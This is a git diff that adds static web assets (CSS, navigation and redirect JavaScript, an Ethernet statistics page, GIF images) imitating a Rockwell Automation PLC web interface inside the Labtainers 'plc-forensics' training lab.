+.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats.html new file mode 100644 index 000000000..90aed96c4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats.html @@ -0,0 +1,17 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats.html new file mode 100644 index 000000000..fd9ecf2b6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats.html @@ -0,0 +1,152 @@ + + +Rockwell Automation + + + + + + + +
+ + + + + + + + + + + + +
Diagnostic OverviewNetwork SettingsMessage ConnectionsEthernet Statistics
+ + + + + + + +

+ + + + + + +
+ + + + + + + + + + + + +
Ethernet Link
Speed100 Mbps
DuplexHalf Duplex
Autonegotiate StatusAutonegotiate Speed and Duplex

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Interface Counters
In Octets213019
In Ucast Packets1288
In NUcast Packets80
In Discards0
In Errors0
In Unknown Protos0
Out Octets410039
Out Ucast Packets1352
Out NUcast Packets25
Out Discards0
Out Errors0
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Media Counters
Alignment Errors0
FCS Errors0
Single Collisions0
Multiple Collisions0
SQE Test Errors0
Deferred Transmissions0
Late Collisions0
Excessive Collisions0
MAC Transmit Errors0
Carrier Sense Errors0
Frame Too Long0
MAC Receive Errors0
+

+

Seconds Between + Refresh:   Disable Refresh with 0. +


diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/mensepoffoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/mensepoffoff.gif new file mode 100644 index 000000000..dee299b7b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/mensepoffoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/mensepoffon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/mensepoffon.gif new file mode 100644 index 000000000..0853fe34b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/mensepoffon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/menuendon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/menuendon.gif new file mode 100644 index 000000000..6fae98a1a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/menuendon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/menustartoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/menustartoff.gif new file mode 100644 index 000000000..b55bbc1fd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/menustartoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/refresh.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/refresh.js new file mode 100644 index 000000000..7c96eeffe --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/etherstats_files/refresh.js @@ -0,0 +1,19 @@ +function jsRefresh() +{ + parent.refreshTime = document.getElementById("refresh").value; + if (parent.refreshTime != 0) + document.location.reload(); +} + +function refreshInit() +{ + if (eval("typeof(parent.refreshTime)") == 'undefined') + parent.refreshTime = document.getElementById('refresh').value; + else + document.getElementById('refresh').value = parent.refreshTime; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') + parent.window.clearTimeout(parent.timeoutPntr); + + parent.timeoutPntr = parent.window.setTimeout("frames.home.jsRefresh();", (parent.refreshTime * 1000)); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
